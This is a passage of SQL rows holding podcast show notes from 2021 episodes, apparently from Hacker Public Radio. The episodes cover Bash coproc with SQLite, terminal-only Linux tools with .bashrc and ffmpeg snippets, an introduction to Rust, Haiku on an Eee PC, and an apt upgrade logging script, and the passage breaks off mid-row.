(3421,'2021-09-13','BlacKernel\'s Journey Into Technology: Episode 1',967,'Learning about Assembly and Social Engineering before I could read','<ul>\r\n<li><p>Important Links</p>\r\n<ul>\r\n<li><a href=\"https://gnuworldorder.info/audiophile/gnuWorldOrder_379.ogg\">GNU World Order Episode 379</a></li>\r\n<li><a href=\"https://eater.net/\">Ben Eater\'s Website</a></li>\r\n</ul></li>\r\n<li><p>Wikipedia Pages</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Transistor\">Transistor Wikipedia article</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Logic_gate\">Logic Gates Wikipedia article</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Assembly_language\">Assembly Language Wikipedia article</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/KidDesk\">KidDesk Wikipedia article</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/K9_Web_Protection\">K9 Web Protection Wikipedia article</a></li>\r\n</ul></li>\r\n</ul>',396,0,0,'CC-BY-SA','technology, childhood, stories',0,0,1),
(3413,'2021-09-01','Bash snippet - using coproc with SQLite',2738,'Sending multiple queries to a running instance of sqlite3','<h2 id=\"introduction\">Introduction</h2>\r\n<p>I am in the process of rewriting some scripts I use to manage <a href=\"https://magnatune.com/\" title=\"Magnatune\">Magnatune</a> albums. I’m a lifetime Magnatune member and have access to the whole music collection. I wrote a script for downloading albums and placing them in my <code>~/Music</code> directory which I talked about in 2013 (show <a href=\"https://hackerpublicradio.org/eps.php?id=1204\">1204</a>). The original scripts are still available on <a href=\"https://gitlab.com/davmo/magnatune-downloader\">GitLab</a> and I know of one other person who made use of them!</p>\r\n<p>Since 2013 I have written a few other support scripts, for example one to manage a queue of albums I want to buy and download, and one which summarises the state of this queue.</p>\r\n<p>It’s this <code>\'show_queue\'</code> script I am currently updating (called <a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue_orig\"><code>show_queue_orig</code></a>, and available in the resources to this show). The original version of this script took Magnatune album URLs from a file (acting as a queue of stuff I wanted to buy), parsed out a piece of the URL and used it to <code>grep</code> a pre-prepared summary in another file. This file of summaries had been made from a master XML file provided by Magnatune (see <code>update_albums</code> on GitLab).</p>\r\n<p>Magnatune has moved away from this master XML file to a SQLite database in recent years, so I want to perform a database lookup for each URL to list its details.</p>\r\n<p>The first version of the new script wasn’t difficult to write: just extract the search data as before and run a query on the database using this data. I have included this script which I call <a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue_db_1\"><code>show_queue_db_1</code></a> amongst the resources for this episode, so you can see what I’m talking about – and what I want to improve on. It felt bad to be performing multiple calls on the <code>sqlite3</code> command in a loop, so I looked around for an alternative way.</p>\r\n<p>In April 2019 <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\">clacke</a> did a show (number <a href=\"https://hackerpublicradio.org/eps.php?id=2793\">2793</a>) about the Bash <code>coproc</code> command.</p>\r\n<p>This command creates a <em>subshell</em> running a command or group of commands which is connected to the calling (<em>parent</em>) process through two file descriptors (<em>FD</em>s). It’s possible for the calling shell to write to the input descriptor and read from the output one and thereby communicate with whatever is running in the subshell.</p>\r\n<p>I was vaguely aware of <code>coproc</code> at the time of clacke’s show but hadn’t looked into it. I found the show fascinating but didn’t have a use for the feature at the time.</p>\r\n<p>To solve my need to show my Magnatune queue of future purchases, it looked as if a <code>sqlite3</code> instance running in a subshell could be given queries one after the other and return the answers I needed. My journey to a Bash script using <code>coproc</code> then followed.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3413/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Bash Reference Manual:\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Coprocesses\">3.2.6 Coprocesses</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Duplicating-File-Descriptors\">3.6.8 Duplicating File Descriptors</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Stack Exchange:\r\n<ul>\r\n<li><a href=\"https://unix.stackexchange.com/questions/86270/how-do-you-use-the-command-coproc-in-various-shells\">How do you use the command coproc in various shells?</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Wikipedia:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Expect\">Wikipedia page on <code>expect</code></a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Other links:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1204\">hpr1204 :: My Magnatune Downloader</a></li>\r\n<li><a href=\"https://gitlab.com/davmo/magnatune-downloader\">GitLab repository: original magnatune-downloader</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2793\">hpr2793 :: bash coproc: the future (2009) is here</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Resources:\r\n<ul>\r\n<li>Example files:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/coproc_test.sh\">coproc_test.sh</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/coproc_test.awk\">coproc_test.awk</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue_orig\">show_queue_orig</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue_db_1\">show_queue_db_1</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue_db_2\">show_queue_db_2</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3413/show_queue.pl.zip\">show_queue.pl.zip</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,coproc,subshell,coprocess,pipe,file descriptor',0,0,1),
(3431,'2021-09-27','Living in the Terminal',2763,'BlacKernel shows you some programs you\'ll need for living life without X org','<h1 id=\"talking-points\">Talking Points</h1>\r\n<h2 id=\"rational\">Rational</h2>\r\n<ul>\r\n<li>Sometimes, X.org just doesn\'t want to work</li>\r\n<li>Esspecially if you are a dumb n00b running Arch</li>\r\n<li>The terminal will always be there for you.</li>\r\n</ul>\r\n<h2 id=\"applications\">Applications:</h2>\r\n<h3 id=\"my-bashrc\">My .bashrc:</h3>\r\n<ul>\r\n<li>Environment Variables:</li>\r\n</ul>\r\n<pre class=\"bash\"><code>export EDITOR=nvim\r\nexport PAGER=most\r\nexport BROWSER=lynx\r\n\r\nexport XDG_DATA_HOME=&quot;$HOME/.local/share&quot;\r\nexport XDG_CONFIG_HOME=&quot;$HOME/.config&quot;\r\n</code></pre>\r\n<p>PS1: <font color=blue>user</font>@<font color=green>hostname</font>:~ (git_branch) $</p>\r\n<pre class=\"bash\"><code>if [[ $EUID == 0 ]]; then\r\n    export PS1=&quot;\\[e[1;31m\\]\\u\\[\\e[m\\]@\\[\\e[0;32m\\]\\h\\[\\e[m\\]:\\w\\$(__git_ps1) # &quot;\r\nelse\r\n    export PS1=&quot;\\[e[1;34m\\]\\u\\[\\e[m\\]@\\[\\e[0;32m\\]\\h\\[\\e[m\\]:\\w\\$(__git_ps1) $ &quot;\r\nfi\r\n</code></pre>\r\n<ul>\r\n<li>Aliases:\r\n<ul>\r\n<li><code>alias vim=nvim</code></li>\r\n<li><code>alias play=mpv</code></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"productivity-window-manager-tmux\">Productivity (\"Window Manager\"): <a href=\"#show-notes\">tmux</a></h2>\r\n<ul>\r\n<li>Provides an easy way of splitting a tty into various panes</li>\r\n<li>Get multiple workspaces for free with CTL+ALT+F{1,2,3,4,5,6,7}</li>\r\n<li>All of the tiling window manager, none of the X-it</li>\r\n<li>Can set up <code>if [ -t 0 ] &amp;&amp; [[ -z $TMUX ]] &amp;&amp; [[ $- = *i* ]]; then exec tmux; fi</code> in .bashrc in order to have tmux start/stop with your terminal sessiion.</li>\r\n</ul>\r\n<h2 id=\"music-cmus\">Music: <a href=\"#show-notes\">cmus</a></h2>\r\n<ul>\r\n<li>Easy library and playlist management</li>\r\n<li>Dead simple to use (with cmus-tutorial)\r\n<ul>\r\n<li><code>y</code> to yank songs onto a playlist</li>\r\n<li><code>SPA</code> to select a playlist</li>\r\n<li><code>RET</code> to play a song/playlist</li>\r\n<li><code>TAB</code> to switch between panes</li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"pictures-fim\">Pictures: <a href=\"#show-notes\">fim</a></h2>\r\n<ul>\r\n<li>Requires user be in the <code>video</code> group for permission to use the Linux framebuffer</li>\r\n</ul>\r\n<h2 id=\"radiovideosingle-audio-files-mpv\">Radio/Video/single audio files: <a href=\"#show-notes\">mpv</a></h2>\r\n<ul>\r\n<li>Can display video in terminal (badly with libcaca)</li>\r\n<li>Can <em>actually</em> display video in linux framebuffer (with drm)</li>\r\n<li>Can handle all of your somafm files/web-video links</li>\r\n<li>Requires <a href=\"#show-notes\">youtube-dl</a> for video</li>\r\n</ul>\r\n<h2 id=\"podcastsrss-newsboatpodboat\">Podcasts/RSS: <a href=\"#show-notes\">newsboat/podboat</a></h2>\r\n<ul>\r\n<li>Orginizes all of your podcasts and RSS feeds into an easy-to-use ncurses interface</li>\r\n<li>Can be set up with <code>player \"mpv --save-position-on-quit\"</code> to save positions on podcasts</li>\r\n<li><em>Very</em> convinent for articles, less so for podcasts</li>\r\n<li>Really needs better integration with something like cmus</li>\r\n</ul>\r\n<h4 id=\"runner-up-podfox\">Runner Up: <a href=\"#show-notes\">podfox</a></h4>\r\n<ul>\r\n<li>Can be configured with JSON</li>\r\n<li>Has better directory structure than podboat, imo</li>\r\n<li>Tree based structure vs shove everything in ~ by default</li>\r\n</ul>\r\n<h2 id=\"text-editingword-processing-neovimgitx-flavored-markdownpandoc\">Text Editing/Word Processing: <a href=\"#show-notes\">neovim/GitX Flavored Markdown/pandoc</a></h2>\r\n<ul>\r\n<li>Clean modal editing</li>\r\n<li>Can export to whatever with pandoc</li>\r\n<li>Probably not as good as OrgMode if emacs wasn\'t the HFS+ of text editors</li>\r\n</ul>\r\n<h2 id=\"audio-recordingpost-processing-ffmpeg\">Audio Recording/Post-Processing: <a href=\"#show-notes\">ffmpeg</a></h2>\r\n<ul>\r\n<li>One alias and three scripts in my .bashrc\r\n<ul>\r\n<li>record: <code>alias record=\"ffmpeg -f alsa -channels 1 -i hw:1\"</code></li>\r\n<li>atrim, top-tail, and anorm: Allows me to quickly spin up a recording and run post processing</li>\r\n</ul></li>\r\n</ul>\r\n<pre class=\"bash\"><code>function atrim() {\r\n    if [ $1 ]; then\r\n        local in=&quot;$1&quot;\r\n    else\r\n        local in=&quot;-&quot;\r\n    fi\r\n\r\n    if [ $2 ]; then\r\n        local out=&quot;$2&quot;\r\n    else\r\n        local out=&quot;-f nut -&quot;\r\n    fi\r\n\r\n    if [[ $# &gt; 2 ]]; then\r\n        echo &quot;atrim: requires 2 or fewer arguments&quot;\r\n        return 1\r\n    fi\r\n\r\n    if [ $2 ]; then echo &quot;atrim: silencing $in and saving to $out...&quot;; fi\r\n    ffmpeg -i $in -af silenceremove=start_periods=1:stop_periods=-1:start_threshold=-50dB:stop_threshold=-50dB:stop_duration=0.75 $out \\\r\n        2&gt;/dev/null \\\r\n        #1&gt;/dev/null\r\n    if [ $2 ]; then echo &quot;atrim: done&quot;; fi\r\n}\r\n</code></pre>\r\n<pre class=\"bash\"><code>function top-tail() {\r\n    local top=&quot;$HOME/project/hpr-notes/template/intro-music-slick0-cc0.flac&quot;\r\n    local tail=&quot;$HOME/project/hpr-notes/template/outro-mixed-slick0-manon_fallon-cc0.flac&quot;\r\n\r\n    if [ $1 ]; then\r\n        local in=&quot;$1&quot;\r\n    else\r\n        local in=&quot;-&quot;\r\n    fi\r\n\r\n    if [ $2 ]; then\r\n        local out=&quot;$2&quot;\r\n    else\r\n        local out=&quot;-f nut -&quot;\r\n    fi\r\n\r\n    if [[ $# &gt; 2 ]]; then\r\n        echo &quot;hpr-top-tail: requres 2 or fewer arguments&quot;\r\n        return 1\r\n    fi\r\n\r\n    if [ $2 ]; then echo &quot;hpr-top-tail: Topping $in with $top and tailing with $tail...&quot;; fi\r\n    ffmpeg -i &quot;$top&quot; -i $in -i &quot;$tail&quot; -vn -filter_complex &quot;\r\n    [0][1]acrossfade=d=1:c1=tri:c2=tri[a01];\r\n    [a01][2]acrossfade=d=1:c1=tri:c2=tri&quot; \\\r\n    $out \\\r\n        2&gt; /dev/null \\\r\n        #1&gt; /dev/null\r\n    if [ $2 ]; then echo &quot;hpr-top-tail: done&quot;; fi\r\n}\r\n</code></pre>\r\n<pre class=\"bash\"><code>function anorm() {\r\n    if [ $1 ]; then\r\n        local in=&quot;$1&quot;\r\n    else\r\n        local in=&quot;-&quot;\r\n    fi\r\n\r\n    if [ $2 ]; then\r\n        local out=&quot;$2&quot;\r\n    else\r\n        local out=&quot;-f nut -&quot;\r\n    fi\r\n\r\n    if [[ $# &gt; 2 ]]; then\r\n        echo &quot;anorm: requires 2 or fewer arguments&quot;\r\n        return 1\r\n    fi\r\n\r\n    if [ $2 ]; then echo &quot;anorm: normalizing audio $in and saving to $out...&quot;; fi\r\n    ffmpeg -i $in $(ffmpeg-lh $in) $out \\\r\n        #2&gt; /dev/null \\\r\n        1&gt; /dev/null\r\n    if [ $2 ]; then echo &quot;anorm: done&quot;; fi\r\n\r\n}\r\n</code></pre>\r\n<h2 id=\"web-browsing-lynx\">Web Browsing: <a href=\"#show-notes\">lynx</a></h2>\r\n<ul>\r\n<li>Fast and easy text based web browsing</li>\r\n<li>Can leverage Web 4.0 technologies like Gopher!!</li>\r\n<li>Some sites break pretty bad...</li>\r\n</ul>\r\n<h2 id=\"email-mutt\">Email: <a href=\"#show-notes\">mutt*</a></h2>\r\n<ul>\r\n<li><p>I didn\'t really use email very much when I was living on the terminal and now, since I use protonmail, I don\'t really have an easy way not to use the webmail.</p></li>\r\n<li><p>Trying to find a fix to this. Let me know your thoughts!</p></li>\r\n<li><p>This is the mail client I\'ve heard the most good things about that isn\'t built into a text editor I can\'t use</p></li>\r\n</ul>\r\n<hr />\r\n<h1 id=\"show-notes\">Show Notes</h1>\r\n<h3 id=\"important-links\">Important Links:</h3>\r\n<ul>\r\n<li><a href=\"https://github.com/tmux/tmux\">tmux</a></li>\r\n<li><a href=\"https://cmus.github.io\">cmus</a></li>\r\n<li><a href=\"https://fatchancelester.bandcamp.com/album/napalm-lounge\">Napalm Lounge by Fat Chance Lester</a></li>\r\n<li><a href=\"https://www.nongnu.org/fbi-improved\">fim</a></li>\r\n<li><a href=\"https://mpv.io\">mpv</a></li>\r\n<li><a href=\"https://www.youtube-dl.org\">youtube-dl</a></li>\r\n<li><a href=\"https://www.newsboat.org\">newsboat/podboat</a></li>\r\n<li><a href=\"https://neovim.io\">neovim</a></li>\r\n<li><a href=\"https://commonmark.org\">CommonMark</a></li>\r\n<li><a href=\"https://pandoc.org\">pandoc</a></li>\r\n<li><a href=\"https://ffmpeg.org\">ffmpeg</a></li>\r\n<li><a href=\"https://lynx.browser.org\">lynx</a></li>\r\n<li><a href=\"https://mutt.org\">mutt</a></li>\r\n</ul>\r\n<h3 id=\"resources\">Resources:</h3>\r\n<ul>\r\n<li><a href=\"https://gitlab.com/BlacKernel/hpr/-/raw/main/hpr3431/atrim.sh\">atrim.sh</a></li>\r\n<li><a href=\"https://gitlab.com/BlacKernel/hpr/-/raw/main/hpr3431/top-tail.sh\">top-tail.sh</a></li>\r\n<li><a href=\"https://gitlab.com/BlacKernel/hpr/-/raw/main/hpr3431/anorm.sh\">anorm.sh</a></li>\r\n</ul>\r\n<hr />\r\n<h5 id=\"contact-me\">Contact Me</h5>\r\n<ul>\r\n<li><strong>Email</strong>: <a href=\"mailto:izzyleibowitz@pm.me\">izzy leibowitz at pm dot me</a></li>\r\n<li><strong>Mastodon</strong>: <a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n',396,11,1,'CC-BY-SA','cli, terminal, nox, linux, technology, tty',0,0,1),
(3426,'2021-09-20','Rust 101: Episode 0 - What in Tarnishing?',1348,'BlacKernel teaches you what rust is and how it is different from Python or C.','<h1 id=\"Talking-Points\">Talking Points</h1>\r\n<ul>\r\n<li>What is Rust?\r\n<ul>\r\n<li>\" Garbage Collection \" - Resource Acquisition Is Initialization (RAII)</li>\r\n<li>Strict Typing with Type Inference</li>\r\n<li>Reference pointers</li>\r\n<li>Immutable by default</li>\r\n<li>Unsafe Mode</li>\r\n</ul></li>\r\n<li>Why use Rust over Python?\r\n<ul>\r\n<li>Speed</li>\r\n<li>Compiled\r\n<ol>\r\n<li>Help from compiler</li>\r\n<li>Smaller binary size</li>\r\n<li>Useful in high throughput/embedded applications</li>\r\n</ol></li>\r\n<li>Logically consistent</li>\r\n</ul></li>\r\n<li>Why use Rust over C?\r\n<ul>\r\n<li>Safe by default</li>\r\n<li>Easier to read</li>\r\n<li>Forces you to write good code</li>\r\n<li>Arrays without stupidity++ and built in vectors</li>\r\n<li>Option&lt;T&gt; and Result&lt;T&gt; or a match {} made in heaven</li>\r\n</ul></li>\r\n</ul>\r\n<hr />\r\n<h1 id=\"Show-Notes\">Show Notes</h1>\r\n<h2 id=\"Strict-Typing\">Strict Typing</h2>\r\n<pre><code>fn main() {\r\n\r\n    // Type declared with var: &lt;T&gt; syntax\r\n    let penguin_one: &amp;str = &quot;gentoo&quot;;\r\n    \r\n    // Type &amp;str is inherited from &quot;gentoo&quot;\r\n    let penguin_two = &quot;gentoo&quot;;\r\n    \r\n    // Will not panic if they are the same\r\n    assert_eq!(penguin_one, penguin_two);\r\n}</code></pre>\r\n<h2 id=\"Reference-Pointers\">Reference Pointers</h2>\r\n<p><span id=\"Wrong-Way:\"></span><strong>Wrong Way:</strong></p>\r\n<pre><code>fn print_u8_vector(vec: Vec&lt;u8&gt;) {\r\n    println!(&quot;{:?}&quot;, vec);\r\n}\r\n\r\nfn main() {\r\n    let penguin_ages: Vec&lt;u8&gt; = vec!(2, 4, 6);\r\n    print_u8_vector(penguin_ages);\r\n    \r\n    // This line will throw an error\r\n    println!(&quot;{}&quot;, penguin_ages[0]);\r\n}</code></pre>\r\n<p><span id=\"Correct-Way:\"></span><strong>Correct Way:</strong></p>\r\n<pre><code>fn print_u8_vector(vec: &amp;Vec&lt;u8&gt;) {\r\n    println!(&quot;{:?}&quot;, vec);\r\n}\r\n\r\nfn main() {\r\n    let penguin_ages: Vec&lt;u8&gt; = vec!(2, 4, 6);\r\n    print_u8_vector(&amp;penguin_ages);\r\n    \r\n    // This line will print &#39;2&#39;\r\n    println!(&quot;{}&quot;, penguin_ages[0]);\r\n}</code></pre>\r\n<h2 id=\"Immutable-By-Default\">Immutable By Default</h2>\r\n<p><span id=\"Wrong-Way:\"></span><strong>Wrong Way:</strong></p>\r\n<pre><code>fn main() {\r\n    let my_num = 2;\r\n    \r\n    // This line will throw an error\r\n    my_num = my_num + 1;\r\n    println!(&quot;{}&quot;, my_num);\r\n}</code></pre>\r\n<p><span id=\"Correct-Way:\"></span><strong>Correct Way:</strong></p>\r\n<pre><code>fn main() {\r\n    let mut my_num = 2;\r\n    my_num = my_num + 1;\r\n    \r\n    // This line will print &#39;3&#39;\r\n    println!(&quot;{}&quot;, my_num);\r\n}</code></pre>\r\n<h2 id=\"Unsafe-Code\">Unsafe Code</h2>\r\n<p><span id=\"Hello-World-Program-in-C-in-Rust:\"></span><strong>Hello World Program in C in Rust:</strong></p>\r\n<pre><code>extern &quot;C&quot; {\r\n    fn printf(input: &amp;str);\r\n}\r\n\r\nfn main() {\r\n    unsafe {\r\n        printf(&quot;Hello, World!&quot;);\r\n    }\r\n}</code></pre>\r\n<ul>\r\n<li><span id=\"Important-Links\"></span><strong>Important Links</strong>:\r\n<ul>\r\n<li><a href=\"https://www.rust-lang.org\">Rust Programming Language Homepage</a></li>\r\n<li><a href=\"https://play.rust-lang.org/\">Rust Playground</a></li>\r\n<li><a href=\"https://invidious.snopyta.org/watch?v=yOyaJXpAYZQ\">Ben Eater: Comparing C to machine language</a> &lt;WARNING: YouTube Hosted&gt;</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li><span id=\"Wikipedia-Pages\"></span><strong>Wikipedia Pages</strong>:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Rust_(programming_language)\">Rust Programming Language Wikipedia article</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Resource_acquisition_is_initialization\">Resource Acquisition Is Initialization (RAII)</a></li>\r\n</ul></li>\r\n</ul>\r\n<hr />\r\n<h4 id=\"Contact-Me\">Contact Me</h4>\r\n<p><span id=\"Email:\"></span><strong>Email:</strong> <a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></p>\r\n<p><span id=\"Mastodon:\"></span><strong>Mastodon:</strong> <a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></p>',396,25,0,'CC-BY-SA','rust, programming, raii, python, c',0,0,1),
(3418,'2021-09-08','My gEeeky Experiment - Part 2',648,'Claudio talks about how he installed Haiku on an Asus Eee PC 900a received from a friend.','<ul>\r\n<li>Eee PC 900a: <a href=\"https://www.notebookcheck.net/Asus-Eee-PC-900A.11751.0.html\" class=\"uri\">https://www.notebookcheck.net/Asus-Eee-PC-900A.11751.0.html</a></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li>Haiku (Wikipedia): <a href=\"https://en.wikipedia.org/wiki/Haiku_(operating_system)\" class=\"uri\">https://en.wikipedia.org/wiki/Haiku_(operating_system)</a></li>\r\n<li>Haiku website: <a href=\"https://www.haiku-os.org\" class=\"uri\">https://www.haiku-os.org</a></li>\r\n<li>Media Release - Haiku R1 Beta 3: <a href=\"https://www.haiku-os.org/news/2021-07-26_media_release_the_haiku_project_celebrates_the_release_of_beta_3\" class=\"uri\">https://www.haiku-os.org/news/2021-07-26_media_release_the_haiku_project_celebrates_the_release_of_beta_3</a></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li>Be Operating System (BeOS): <a href=\"https://en.wikipedia.org/wiki/BeOS\" class=\"uri\">https://en.wikipedia.org/wiki/BeOS</a></li>\r\n<li>Be, Inc.: <a href=\"https://en.wikipedia.org/wiki/Be_Inc\" class=\"uri\">https://en.wikipedia.org/wiki/Be_Inc</a>.</li>\r\n<li>BeBox: <a href=\"https://en.wikipedia.org/wiki/BeBox\" class=\"uri\">https://en.wikipedia.org/wiki/BeBox</a></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li>Motorola StarMax series of Power Macintosh clones: <a href=\"https://en.wikipedia.org/wiki/Motorola_StarMax\" class=\"uri\">https://en.wikipedia.org/wiki/Motorola_StarMax</a></li>\r\n<li>Video of my StarMax 4000/160: <a href=\"https://www.youtube.com/watch?v=zi5DwqqZfUQ\" class=\"uri\">https://www.youtube.com/watch?v=zi5DwqqZfUQ</a></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li><p>Blog post: <a href=\"https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2</a></p></li>\r\n<li><p>HP EliteBook 2170p: <a href=\"https://support.hp.com/ro-en/document/c03406489\" class=\"uri\">https://support.hp.com/ro-en/document/c03406489</a></p></li>\r\n</ul>\r\n',152,0,0,'CC-BY-SA','asus,eeepc,haiku,beos,starmax,bebox,motorola,be',0,0,1),
(3423,'2021-09-15','\"upg.sh\" my \"dump.txt\" to \"note.md\"',2278,'I upgraded my scripts.','<h1 id=\"upgsh-my-dumptxt-to-notemd\">upg.sh my dump.txt to note.md</h1>\r\n<p><strong>SYNOPSIS:</strong> <em>upg.sh</em></p>\r\n<ul>\r\n<li>Upgrade your system and store stdout into a markdown file.</li>\r\n</ul>\r\n<pre><code>#!/bin/bash\r\n# upg.sh\r\n\r\nFILENAME=sys-upgrade$(date +%m-%d-%Y).md\r\nDIRECTORY=&quot;${HOME}/Documents/&quot;\r\n\r\n# step 1: formatting.\r\necho -e &quot;# **System Upgrade:** $(date)\\n&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;**Command:** \\`sudo apt-get update; sudo apt-get upgrade --yes\\`\\n&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;**Command Breakdown:**&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;- \\`sudo\\`, Admin Privilages.&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;- \\`apt-get\\`, Package Manager.&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;- \\`update;\\`, Package Manager&#39;s task; update the system software repositories.&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;- \\`sudo apt-get upgrade\\`, Perform system upgrade with updated repositories.&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;- \\`--yes\\`, Answers yes to the prompt.&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\n# step 2: run commands with formatting.\r\necho -e &quot;\\n**Command std-output:**\\n&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n    echo $(date) \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nsudo apt-get update \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\n# System update completed.\\n&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nsudo apt-get upgrade --yes \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\n# System upgrade completed.\\n&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`\\n&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\n# step 3: additional details with more formatting.\r\necho -e &quot;**Upgraded Package Details:**\\n&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nPKGLIST=$(sed -n &quot;/The following packages will be upgraded:/,/^.. upgraded/p&quot; ${FILENAME} \\\r\n    | sed &#39;1d;$d&#39; | xargs -n 1 | sed &#39;/:i386$/d&#39;) \\\r\n\r\nPKGCACHE=$(echo -e &quot;${PKGLIST}\\n&quot; \\\r\n    | xargs -n1 -I _ apt-cache search _)\r\necho &quot;${PKGCACHE}&quot; &gt; ${DIRECTORY}delete.txt\r\n\r\necho &quot;${PKGLIST}&quot; \\\r\n    | xargs -n 1 -I _ echo &quot;sed -n &#39;/^_ /p&#39;&quot; &quot;${DIRECTORY}delete.txt&quot; \\\r\n    | bash | tee -a ${DIRECTORY}${FILENAME};\r\n\r\necho -e &quot;\\`\\`\\`&quot; \\\r\n    | tee -a ${DIRECTORY}${FILENAME}\r\n\r\nrm -v ${DIRECTORY}delete.txt;\r\nPKGLIST=\r\nPKGCACHE=\r\n\r\n# step 4: place EOF (end of file).\r\n    sed -i &#39;/EOF/d&#39; ${DIRECTORY}${FILENAME}\r\necho &quot;EOF&quot; &gt;&gt; ${DIRECTORY}${FILENAME}\r\n#EOF\r\n</code></pre>\r\n<p><strong>Script breakdown:</strong> <em>upg.sh</em></p>\r\n<ul>\r\n<li><p>First, we declare bash as our shell with <code>#!/bin/bash</code>. We could also use <code>#!/bin/sh</code> for a more portable script.</p></li>\r\n<li><p>I like to paste the name of the script we\'re working on into the script itself <code># upg.sh</code>.</p></li>\r\n<li><p>Setup a couple of variables to shorten the syntax.</p></li>\r\n</ul>\r\n<pre><code>FILENAME=sys-upgrade$(date +%m-%d-%Y).md\r\nDIRECTORY=&quot;${HOME}/Documents/&quot;\r\n</code></pre>\r\n<ul>\r\n<li><code># step 1: formatting.</code>\r\n<ul>\r\n<li>Build labels and a short breakdown of the update/upgrade commands used.</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>echo -e &quot;# **System Upgrade:** $(date)\\n&quot; \\                                                    &lt;-- formatting: label with date.\r\n    | tee -a ${DIRECTORY}${FILENAME}                                                           &lt;-- path/to/file\r\necho -e &quot;**Command:** \\`sudo apt-get update; sudo apt-get upgrade --yes\\`\\n&quot; \\                 &lt;-- formatting: command label.\r\n    | tee -a ${DIRECTORY}${FILENAME}                                                           &lt;-- path/to/file\r\necho -e &quot;**Command Breakdown:**&quot; \\                                                             &lt;-- formatting: label.\r\n    | tee -a ${DIRECTORY}${FILENAME}                                                           &lt;-- path/to/file\r\necho -e &quot;- \\`sudo\\`, Admin Privilages.&quot; \\                                                      &lt;-- formatting: label.\r\n    | tee -a ${DIRECTORY}${FILENAME}                                                           &lt;-- path/to/file\r\necho -e &quot;- \\`apt-get\\`, Package Manager.&quot; \\                                                    &lt;-- formatting: label.\r\n    | tee -a ${DIRECTORY}${FILENAME}                                                           &lt;-- path/to/file\r\necho -e &quot;- \\`update;\\`, Package Manager&#39;s task; update the system software repositories.&quot; \\    &lt;-- formatting: label.\r\n    | tee -a ${DIRECTORY}${FILENAME}                                                           &lt;-- path/to/file\r\necho -e &quot;- \\`sudo apt-get upgrade\\`, Perform system upgrade with updated repositories.&quot; \\      &lt;-- formatting: label.\r\n    | tee -a ${DIRECTORY}${FILENAME}                                                           &lt;-- path/to/file\r\necho -e &quot;- \\`--yes\\`, Answers 